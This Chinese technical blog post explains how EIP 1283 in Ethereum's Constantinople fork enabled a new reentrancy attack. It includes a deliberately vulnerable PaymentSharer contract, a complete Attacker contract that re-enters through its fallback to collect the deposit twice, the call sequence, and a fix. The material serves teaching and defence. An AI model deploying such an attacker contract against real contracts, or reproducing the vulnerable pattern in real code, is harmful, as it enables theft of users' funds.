君士坦丁堡分叉引起的安全问题

君士坦丁堡分叉引起的安全问题

一. 什么是君士坦丁堡分叉

君士坦丁堡是最近以太坊的大事,主要做了一下改进

• EIP 145：由两位以太坊开发人员Alex Beregszaszi 和 Pawel Bylica编写的技术升级，EIP 145详细描述了一种更有效的以太坊信息处理方案，其称为逐位移动（bitwise shifting）；
• EIP 1052:由以太坊core开发人员Nick Johnson和Bylica所撰写，1052提供了一种优化以太坊网络大规模代码执行的方法。
• EIP 1283：由Johnson撰写，其基于EIP 1087，这一提议主要了引入了一种针对数据存储更改更公平的定价方法，这可以让智能合约开发者受益。
• EIP 1014：由以太坊创始人Vitalik Buterin亲自创建，此升级的目的是更好地促进基于状态通道和链外（off-chain）交易的扩容解决方案。
• EIP 1234：由以太坊主要客户端 Parity发布经理 Afri Schoedon所倡导，这也是以太坊此次升级中最具争议的部分，它会使以太坊网络的区块奖励从3ETH减少到2ETH，此外还会延迟难度炸弹12个月的时间。

其中EIP 1283 最重要的改动就是对于修改合约内容更加便宜了,原来修改非0内容的地址需要5000gas,现在只需要200gas.
具体意思就是

//第一次写入
Contract.A=300 //花费20000gas
//第二次写入
Contract.A=500 //花费5000gas,如果是君士坦丁堡分叉以后只有200gas.

这对于DAPP而言肯定是好事,降低了DAPP的成本.但是意外却引入了安全风险.

二. 一个重入合约

一份双方协调分成的合约,简化起见,里面很多安全问题没检查,比如updateSplit应该只能参与双方更新.

//PaymentSharer.sol
pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
     
    a.transfer(depo * splits[id] / 100); //transfer 给2100 gas执行事务
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

双方协商一致,调用updateSplit,定下各自应得多少比例.然后就可以调用splitFunds,分别拿走各自的ether.
这在君士坦丁堡分叉之前,是非常安全的.

三. 一份尝试攻击的合约

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    PaymentSharer x = PaymentSharer(victim);
    x.updateSplit(0,0); //修改split,这样下b.transfer就不再是transfer 0,达到双倍收益.
  }
  //从合约中拿走全部ether
  function drain() external {
    owner.transfer(address(this).balance);
  }
}

四. 组合调用

• 1. PaymentSharer.init(0,Attacker,anotherAddressOfAttacker)
• 2. PaymentSharer.deposit(0) value=1ether
• 3. Attacker.attack(PaymentSharer)

最关键的是第三步的调用顺序:
attack-->updateSplit-->attack--->splitFunds(a全得,b没有)--->a.transfer--->Attacker's fallback--->updateSplit(a没有,b全得)-->b.transfer

最终a,b(Attacker和anotherAddressOfAttacker)各拿了一份完整的是后入,而不是预想的只有拿走全部.

分叉之前

合约中调用transfer函数的gas是固定的,只能是2300,无法改动. 而Attacker's fallback 函数中调用updateSplit, 其中 splits[id] = split;这一句话就会消耗5000gas,因此attack这个Tx会失败.

分叉之后

splits[id] = split;只会消耗gas200,因此有足够的gas来执行updateSplit, 所以a.transfer会成功,然后b.transfer自然也会成功.

调用顺序

五. 如何解决

针对这个问题解决起来非常简单.下面就是一种修正方法.

function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;
    uint s=splits[id];
    a.transfer(depo * s / 100); //transfer 给2100 gas执行事务
    b.transfer(depo * (100 - s) / 100);
  }

这样就算是Attacker有了重入的机会,可以执行代码,也不会有任何额外收益. 应该说合约的设计者已经考虑到a.transfer的重入问题,先修改了deposits[id],而不是放在transfer之后,但是仍然百密一疏.

合约一旦发布就无法修改,但是EVM规则却可以通过分叉修改,可以解决以后的问题,但是却不能修复已经发布的合约.

本来参考了一下文章
Constantinople enables new Reentrancy Attack